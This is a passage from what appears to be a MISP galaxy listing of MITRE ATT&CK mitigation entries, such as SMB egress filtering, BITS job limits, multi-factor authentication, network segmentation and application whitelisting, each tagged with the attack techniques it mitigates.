Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)
The tag is: misp-galaxy:mitre-course-of-action="LSASS Driver Mitigation - T1177"
LSASS Driver Mitigation - T1177 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
Forced Authentication Mitigation - T1187
Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)
For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.
Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.
The tag is: misp-galaxy:mitre-course-of-action="Forced Authentication Mitigation - T1187"
Forced Authentication Mitigation - T1187 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices |
BITS Jobs Mitigation - T1197
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)
Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.
Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)
Consider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>. (Citation: Microsoft BITS)
The tag is: misp-galaxy:mitre-course-of-action="BITS Jobs Mitigation - T1197"
BITS Jobs Mitigation - T1197 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/connect/blogs/malware-update-windows-update |
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx |
Trusted Relationship Mitigation - T1199
Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.
The tag is: misp-galaxy:mitre-course-of-action="Trusted Relationship Mitigation - T1199"
Trusted Relationship Mitigation - T1199 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
Links |
Firmware Corruption Mitigation - T1495
Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.
The tag is: misp-galaxy:mitre-course-of-action="Firmware Corruption Mitigation - T1495"
Firmware Corruption Mitigation - T1495 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
Links |
Resource Hijacking Mitigation - T1496
Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Resource Hijacking Mitigation - T1496"
Resource Hijacking Mitigation - T1496 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Data Destruction Mitigation - T1488
Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.
Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Data Destruction Mitigation - T1488"
Data Destruction Mitigation - T1488 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Service Stop Mitigation - T1489
Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.
The tag is: misp-galaxy:mitre-course-of-action="Service Stop Mitigation - T1489"
Service Stop Mitigation - T1489 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
Links |
Multi-factor Authentication - M1032
Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.
The tag is: misp-galaxy:mitre-course-of-action="Multi-factor Authentication - M1032"
Multi-factor Authentication - M1032 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
Links |
Rc.common Mitigation - T1163
Limit privileges of user accounts so only authorized users can edit the rc.common file.
The tag is: misp-galaxy:mitre-course-of-action="Rc.common Mitigation - T1163"
Rc.common Mitigation - T1163 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"
Links |
SSL/TLS Inspection - M1020
Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
The tag is: misp-galaxy:mitre-course-of-action="SSL/TLS Inspection - M1020"
SSL/TLS Inspection - M1020 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
Regsvcs/Regasm Mitigation - T1121
Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.
The tag is: misp-galaxy:mitre-course-of-action="Regsvcs/Regasm Mitigation - T1121"
Regsvcs/Regasm Mitigation - T1121 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"
Links |
Security Updates - M1001
Install security updates in response to discovered vulnerabilities.
Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.
Decommission devices that will no longer receive security updates.
Limit or block access to enterprise resources from devices that have not installed recent security updates.
On Android devices, access can be controlled based on each device’s security patch level. On iOS devices, access can be controlled based on the iOS version.
The tag is: misp-galaxy:mitre-course-of-action="Security Updates - M1001"
Security Updates - M1001 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
Links |
Lock Bootloader - M1003
On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.
The tag is: misp-galaxy:mitre-course-of-action="Lock Bootloader - M1003"
Lock Bootloader - M1003 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
Links |
Network Segmentation - M1030
Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.
The tag is: misp-galaxy:mitre-course-of-action="Network Segmentation - M1030"
Network Segmentation - M1030 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
Links |
Application Vetting - M1005
Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.
Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.
Application Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](https://attack.mitre.org/techniques/T1440) exist that can enable adversaries to bypass vetting.
The tag is: misp-galaxy:mitre-course-of-action="Application Vetting - M1005"
Application Vetting - M1005 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Android Intent Hijacking - T1416" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
Links |
Exploit Protection - M1050
Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
The tag is: misp-galaxy:mitre-course-of-action="Exploit Protection - M1050"
Exploit Protection - M1050 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
Links |
User Guidance - M1011
Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.
The tag is: misp-galaxy:mitre-course-of-action="User Guidance - M1011"
User Guidance - M1011 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469" with estimative-language:likelihood-probability="almost-certain"
Links |
Enterprise Policy - M1012
An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.
The tag is: misp-galaxy:mitre-course-of-action="Enterprise Policy - M1012"
Enterprise Policy - M1012 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
Links |
Interconnection Filtering - M1014
In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).
The tag is: misp-galaxy:mitre-course-of-action="Interconnection Filtering - M1014"
Interconnection Filtering - M1014 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449" with estimative-language:likelihood-probability="almost-certain"
Links |
Rootkit Mitigation - T1014
Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Rootkit Mitigation - T1014"
Rootkit Mitigation - T1014 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Update Software - M1051
Perform regular software updates to mitigate exploitation risk.
The tag is: misp-galaxy:mitre-course-of-action="Update Software - M1051"
Update Software - M1051 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
Links |
Vulnerability Scanning - M1016
Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.
The tag is: misp-galaxy:mitre-course-of-action="Vulnerability Scanning - M1016"
Vulnerability Scanning - M1016 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
Links |
Mshta Mitigation - T1170
Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
The tag is: misp-galaxy:mitre-course-of-action="Mshta Mitigation - T1170"
Mshta Mitigation - T1170 has relationships with:
-
